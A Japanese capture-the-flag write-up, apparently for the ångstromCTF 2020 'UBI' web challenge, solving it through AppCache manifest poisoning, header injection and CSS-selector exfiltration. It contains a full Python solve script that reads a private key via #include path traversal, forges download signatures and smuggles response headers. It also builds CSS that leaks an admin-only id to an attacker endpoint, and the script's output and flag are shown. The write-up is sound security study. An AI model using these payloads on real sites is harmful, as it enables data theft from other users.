HTML5が提供している、ウェブベースのアプリケーションをオフラインで実行できるようにするためのブラウザ側のキャッシュ機能。Chromeの開発者ツールでも、Application > Cache から確認できます。ユーザーがオフラインになった状態で更新ボタンを押しても、このキャッシュのおかげで正常に読み込まれます。
上の方のMozillaの解説の方には、この機能はウェブ推奨から削除されており、好ましくないとあります。

アプリケーションでアプリケーションキャッシュを有効にするには、アプリケーションページ内の <html> 要素に manifest 属性を含めなければなりません。以下に例を示します。

<html manifest="example.appcache">
  ...
</html>

このようにmanifest属性を含めると、appcacheを有効にできるようです。

キャッシュマニフェストファイルはどんなファイル拡張子でもかまいませんが、text/cache-manifest MIME タイプで提供されなければなりません。

キャッシュマニフェストファイルはブラウザーがオフラインアクセスのためにキャッシュすべきリソースを列挙した単純なテキストファイルです。リソースは URI によって区別されます。キャッシュマニフェストに列挙されたエントリーはマニフェストと同じスキーマ、ホスト、およびポートでなければなりません。

AppCachePoisoningで調べてみると下記の説明資料・ブログが。

どうやらこの攻撃を行うには

  • MitM (man in the middle)攻撃ができる
  • manifestファイルのmime typeにtext/cache-manifestを指定できる
  • ファイルアップロード機能がある
  • ChormeかFirefox

あたりが条件のようです。今回だと、ファイルアップロード機能は/buildAPIでできていること、この際に任意のmime typeを指定できること、Adminが使用するブラウザがpuppeteerなのでChromiumベースなことから、この攻撃をする条件が整っていそうです。

公式解法のスクリプトを見たところ、直接adminのcookieを抜くことを考えるのではなく、adminには見えているはずのångstromCTFのflagのdawnload urlを、用意したエンドポイントに送ってもらう方針のようです。この際、adminに用意したmanifestを利用するよう仕向け、攻撃用エンドポイントへは必ずオンラインで通信し、style.cssは変わりに/build機能を使って用意した攻撃用cssを使わせます。

長くなってしまいましたが、全体の攻撃の流れはこちら。privatekey取得までは上で済んでいます。

条件と攻撃の流れのサマリ

download urlは、idとsignature用のkeyがあれば再現できます。そこで、全体としてはkeyångstromCTFのflag用idを取得することを目指します。

1.keyの取得

UBI API/buildではcのソースコードとkey,referのセットを渡すと、16桁の16進数のランダムなidを発行し、key, referを/{id}/config.jsonに保管します。これはAPI処理が終わった後も消されません。また、key,referについてはどのflag生成時も同じものを使いまわしており、どれかのflag用のconfigが手に入ればkeyが入手できることになります。ångstromCTFのflagのダウンロードurlはadminのcookieを持った人にしか表示されませんが、その他のflagのダウンロードurl,idは一般人にも表示されているので、既知のflag用idを使ってconfig.jsonの中身を引っ張り出します。この方法の詳細は上に書いています。

2.adminに攻撃cssを使ってもらい、flagのidを取得する

次に、idを取得することを考えます。adminのcookieを持っていれば表示されるのでcookieを抜き出すことを考えたいのですが、adminには見えているはずのångstromCTFのflagのidを用意したエンドポイントに送ってもらうのが想定解のようです。
ここで、もしcssstyle.cssから自分が用意したものにすり替えられるとします。この場合、adminにだけ見えているはずのångstromCTF用のidが表示されている部分を、下記のようなスタイルで装飾すると、正解だったときのみid{用意したエンドポイント}に送られてきます。

.tile:nth-child(n) a[href^="https://flags.2020.chall.actf.co/download/{予測したid}"] {
    background-image: url({用意したエンドポイント}/{予測したid}.png);
}

^

[attr^=value]
attr という名前の属性の値が value で始まる要素を表します。

なので、signatureを含んだurl全体がわかっていなくても大丈夫です。

idは16進の16桁なので、一回の通信で当てようとすると16^16個も上記の条件を書かないといけないので非現実的。かつ、/build機能を使おうとしているので、len(request.form['src']) > 500000 の条件に引っかかってしまいます。前方一致でいいので、idの上桁から1~2桁ずつくらいを確定させていくのが良さそう。

ちなみに、nth-child(n)とすると"子要素のn番目にスタイルを適用"となっており、flagのdivがis-childになっているのでflagのボックスのn番目に適用、みたいにできます。

3.adminに用意したcssを使わせる

では、どうやってadminにこの攻撃用スタイルシートを使用させるか。ここで先程のAppCacheの話が出てきます。/build機能では任意のファイルをアップロードできるため、攻撃用のcssもアップロードできます。cのコードじゃない場合はbuild結果はerrorになりますが、errorの場合もエラーメッセージにidが入ってくるし、download urlも作成できます。更に、download urlにx-ubi-src=1を設定すれば、source.cのダウンロードが可能です。

更に、先程確認したAppCacheのmanifestですが、

CACHE MANIFEST
CACHE:
/
NETWORK:
{用意したエンドポイント}
CHROMIUM-INTERCEPT:
/style.css return {my_css_url}

このように設定してみるとどうでしょう。Default設定には/が入っており、adminに情報を送ってもらいたい{用意したエンドポイント}は常にネットワーク越しで通信してもらう、さらにCHROMIUM-INTERCEPTの設定により、/style.cssの代わりに{my_css_url}にアクセスしてくれるようになります。

manifestファイルの拡張子は何でも良いのでsource.cで構いません。使用される時にmime typeにtext/cache-manifestを指定することが条件ですが、今回は Header Injection が可能なのでこの条件を満たせます。

更にmanifestファイルを使って欲しいページには

<html manifest="{manifestのurl}">
  ...
</html>

を記載すること、更に AppCache: Resource override scope checking - Chrome Platform Status より"X-AppCache-Allowed: /"をレスポンスヘッダに付与することが必要になります。index.jsまで書き換えるわけには行かないので、まずはこのmanifestを使用するhtmlをまた/buildでアップし、このdownload urlを、adminがチェックしに来てくれるurlに設定します。さらにこのurlにリダイレクト設定を追加し、/に飛ばすことで、このmanifestを利用しつつindex.jsを表示させます。

攻撃スクリプト

まずは、adminに見えているはずの全ての flag download url のidの先頭2桁を取得します。流れは上記のとおりです。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA

import requests
import json
import urllib.parse

ubi_url = 'https://ubi.2020.chall.actf.co'
flags_url = 'https://flags.2020.chall.actf.co'
flag_ids = ['24e9190b45d3f2c9', 'a72f6372028f43e6', '4c5fd91059c31aa4']
my_endpoint = {用意したエンドポイント}

def private_key_export(privatekey):
    return key.export_key('PEM', pkcs=8) + b'\n'

def create_signature(content_id, key, content_type):
    return PKCS1_OAEP.new(key).encrypt(SHA256.new(b'content-type: ' + content_type.encode('ascii') + b'\nx-ubi-src: 1\nx-ubi-id: '+content_id.encode('ascii') + b'\nx-ubi-key: ' + SHA256.new(private_key_export(key)).hexdigest().encode('ascii')).digest()).hex()

def create_download_src_url(content_id, content_type, signature):
    return '/download/' + content_id + '/flag?content-type=' + content_type + '&x-ubi-src=1&sig=' + signature

#### 1. get privatekey
data = {'refere':flags_url+'/',
        'src':'#include \"../' + flag_ids[0] + '/config.json\"\nint main(){ puts(\"Hello!\"); }',
        'key':'test'}
header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_url + '/build', data=data, headers=header)
privatekey = json.loads(res.json()['message'].split('\n')[2])['key']
#print(privatekey)
key = RSA.import_key(privatekey)


#### 2. create 1st attack css
attack_style = """.tile:nth-child(n) a[href^="__FLAGS_URL___/download/__PREDICT_ID__"] {
    background-image: url(__MY_ENDPOINT__/__PREDICT_ID__.png);
}
"""
attack_style = attack_style.replace('__FLAGS_URL___', flags_url).replace('__MY_ENDPOINT__', my_endpoint)
attack_css = ''
for i in range(256):
    predict_id = hex(i)[2:].zfill(2)
    attack_css += attack_style.replace('__PREDICT_ID__', predict_id)
#print(repr(attack_css))
#print(len(repr(attack_css)))  # < 500000


#### 3. upload attack css
data = {'refere':flags_url+'/',
        'src':attack_css,
        'key':private_key_export(key)}
header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_url + '/build', data=data, headers=header)
#print(res.text)
my_css_id = res.json()['message'][6:22]
print('my css id: ' + my_css_id)
my_css_sig = create_signature(my_css_id, key, 'text/css')
my_css_url = create_download_src_url(my_css_id, 'text/css', my_css_sig)
print('my css url: ' + my_css_url)


#### 4. create manifest
manifest = """CACHE MANIFEST
CACHE:
/
NETWORK:
__MY_ENDPOINT__
CHROMIUM-INTERCEPT:
/style.css return __MY_CSS_URL__
"""
manifest = manifest.replace('__MY_ENDPOINT__', my_endpoint).replace('__MY_CSS_URL__', my_css_url)
#print(repr(manifest))


#### 5. upload manifest
data = {'refere':flags_url+'/',
        'src':manifest,
        'key':private_key_export(key)}
header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_url + '/build', data=data, headers=header)
#print(res.text)
manifest_id = res.json()['message'][6:22]
print('manifest id: ' + manifest_id)
manifest_sig = create_signature(manifest_id, key, 'text/cache-manifest')
manifest_url = flags_url + create_download_src_url(manifest_id, 'text/cache-manifest', manifest_sig)
print('manifest url: ' + manifest_url)


#### 6. create attack html and redirect url
attack_html = '<html manifest="' + manifest_url + '">Hello, Admin!</html>'
data = {'refere':flags_url+'/',
        'src':attack_html,
        'key':private_key_export(key)}
header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_url + '/build', data=data, headers=header)
#print(res.text)
attack_html_id = res.json()['message'][6:22]
print('attack html id: ' + attack_html_id)
redirect = '\n' + 'refresh: 10; ' + flags_url + '\n' + 'x-appcache-allowed: /'
content_type = 'text/html' + redirect
attack_html_sig = create_signature(attack_html_id, key, content_type)
attack_html_url = flags_url + create_download_src_url(attack_html_id, 'text/html' + urllib.parse.quote(redirect), attack_html_sig)
print('attack html url: ', end='')
print(attack_html_url)

実行結果

$ python solve.py 
my css id: 333dd372dd486628
my css url: /download/333dd372dd486628/flag?content-type=text/css&x-ubi-src=1&sig=b0b923683535a67e2ba57275ce478930bd6f31379c20d9ac861cf39a32f40c7e84268f6951c4136a7483fc33363a44c903561539f0ab7ed693d609407eac6fd80deb5703f30451dc6deaa24857323077f8a80d57c5c0ac80544edc65060e206c40642da30f0c8ba7f96618f2f593b691350ebb0b3b30af23f3c8de25c04d9211c9dc7224b72a6b8478dc3c6f8301c809889308d5e0db992e5a29625768831a229cebe46f5519b61e8febbae77a229c875f73f07a8e99655e0298a34255cffa53ea8be06d4179b95985f438684025dc5bfe39a01398552f4144e07ef7f22e5bef6691f087bc7060d657dc899e12921e252e603aacda317f1b5e4996a986b93d9e
manifest id: 284f7b7b3f7487f8
manifest url: https://flags.2020.chall.actf.co/download/284f7b7b3f7487f8/flag?content-type=text/cache-manifest&x-ubi-src=1&sig=466fe9bca8f21b8d7473888f952e6d8bf727bacbfd60c8a8c585082534f8b5bcb90e280386cd6e189cb36b6d9248debc1d62fab5c12a396a223aa56466f6152e29be6ace5c18b56bdad31d2b63784ca647ff00ea589b5aac10f1e15d88d0571d0fe5a1a5cb4b7d99782dce3e03838795494b14fbfe9053d089f2cb5fba5d6e2eae37008465834b3bbe186784bc37413b0993717bfe4fb700ca2c732982adf8a4f7959fcb6cfec962df8c2b14b28df5a7e1a51ec06b3be8124eb205060b320931c81beccdf196c08aca65bba4c6478566f221503c5325f714b7d569b4734eb59ca56458891b32e7fdb5016285387e7085a98bb07977f6ac7049453e8fb8924035
attack html id: d55170028c7b7aff
attack html url: https://flags.2020.chall.actf.co/download/d55170028c7b7aff/flag?content-type=text/html%0Arefresh%3A%2010%3B%20https%3A//flags.2020.chall.actf.co%0Ax-appcache-allowed%3A%20/&x-ubi-src=1&sig=56783ee8941914a25a1d82aa265878b9a34d4dc0cf7253666660fd1d90ed25f62f42e5fb3881c166039f013a5a76b493e94b0b01b02408c7135cbfdb8fdd49b0f8de304deea870b0443c8dcbfb5809e3a80c2532ec37d41377c758653be04c46d943814d42800318889f8ee8b42084efdad4adcbd5c4546871b4136d652d76023f082de751ad00d77eacafa1ca24c397f1a4d8432d6158a2c96b6d2f10dd894809cba3491e9d4871d1dd6d817a00d13a65583756ebfbefad6857cf63237e743ecb1239b1355f34e8e4794a9efe47f2a1119c9fa3e2d50e2e6abdcec0d6d23a2b3235310e37be68dcebb02a2f45e535aeabde7ab71c0a5cdb53da9e93a502c4e3

最後に出力されたattack_html_urlが、adminに踏んでもらいたいurlになるので、これをtopページのフォームに入れて送信します。しばらくすると、用意したエンドポイントにいくつかアクセスが来ます。

f:id:kusuwada:20200405112003p:plain

既知のflagのidは flag_ids = ['24e9190b45d3f2c9', 'a72f6372028f43e6', '4c5fd91059c31aa4'] なので、ここにない a5 が、ångstromCTF用flagのidの先頭2桁のようです!

此処から先は、css injectionの際の

.tile:nth-child(n) a[href^="https://flags.2020.chall.actf.co/download/{予測したid}"] {
    background-image: url({用意したエンドポイント}/{予測したid}.png);
}

について、予測したidを2桁ずつ増やしていけばOK。(前方一致なので)
nth-child(n)については、アクセスが4番目に来たようなので4番目の要素がångstromCTF用のflagのようです。そのままnにして全部のflag boxについてcssを当てても、ångstromCTF以外のflagではidが一致しないので飛んでこないはず。4にしてもnにしててもそんなに結果は変わらないかと思います。

先程のスクリプトにidの処理を少しだけ追加した下記のスクリプトで、fixed_idを2桁ずつ確定していきます。

...(略)...
my_endpoint = {用意したエンドポイント}

fixed_id = 'a5'  # new!

def private_key_export(privatekey):
    return key.export_key('PEM', pkcs=8) + b'\n'

...(略)...

for i in range(256):
    predict_id = fixed_id + hex(i)[2:].zfill(2)  # new!
    attack_css += attack_style.replace('__PREDICT_ID__', predict_id)

先ほどと同じ用に、最後の出力のattack_html_urlをadminに踏んでもらいます。今度はångstromCTF用flagのdownload urlしか引っかからないので、1個ずつ飛んできます。

f:id:kusuwada:20200405112039p:plain

16桁揃いました!

f:id:kusuwada:20200405112112p:plain

最後は、idがわかったのでångstromCTFのflagのdownload urlを生成します。先程のスクリプトに下記を追加(その前のパートは#### 2.create 1st attack css以降をif len(fixed_id) < 16:で囲む)

...(略)...

fixed_id = 'a5995c60ded714f1'  # new!

...(略)...

if len(fixed_id) < 16:  # new!
    #### 2. create 1st attack css

...(略)...

#### 7. create ångstromCTF download url  # new!
elif len(fixed_id) == 16:
    flag_sig = create_signature(fixed_id, key, 'text/plain')
    flag_url = flags_url + create_download_src_url(fixed_id, 'text/plain', flag_sig)
    print(flag_url)
    print(requests.get(flag_url, headers={'referer': flags_url+'/'}).text)

実行結果

$ python solve.py 
https://flags.2020.chall.actf.co/download/a5995c60ded714f1/flag?content-type=text/plain&x-ubi-src=1&sig=6b4f84a99efbcc88dd80e6e5d274c0b28a06e2bad6d51bb02d584e780973642814eaa1a2693f5bfe2d4adb5ea186ef8bcc426d70db9166e74cab40315f9b70e46add71ae21eb6f2d82c77fe4e7f095ebcaf9394859566d616b8b8b468c276f4c70940e580f4e4f51be7ff70f1ab90ab6a2990b7a8660bdd8423d84ba2b7dc1f47740ae3285ef2283712117bcfb360c9e1c1f274f891b1bab62d9d52990ecc9feedbe6f9b8f8d081b7d5a1f8f115f7d62e888892ff263d45b368bb8a35538dc3ac04d72c63aa89efd03d25f5a5e3f05c4ffd3c067cc6d2fb8d9d5084ac0807ff4c5f2cd0e38a8fb421d8282a3ba5836532d492c8f00dec59414497e02c988a73f
#include "stdio.h"
int main() { puts("actf{seize_the_means_of_c0mp1l4tion}"); }

٩(๑❛ᴗ❛๑)尸
これは長い道のりだった…。公式解法のコードも、そのまま動かすだけだとflagが取れず、中身を読み解く必要があった。でもおかげで、復習だったけどとても楽しめました!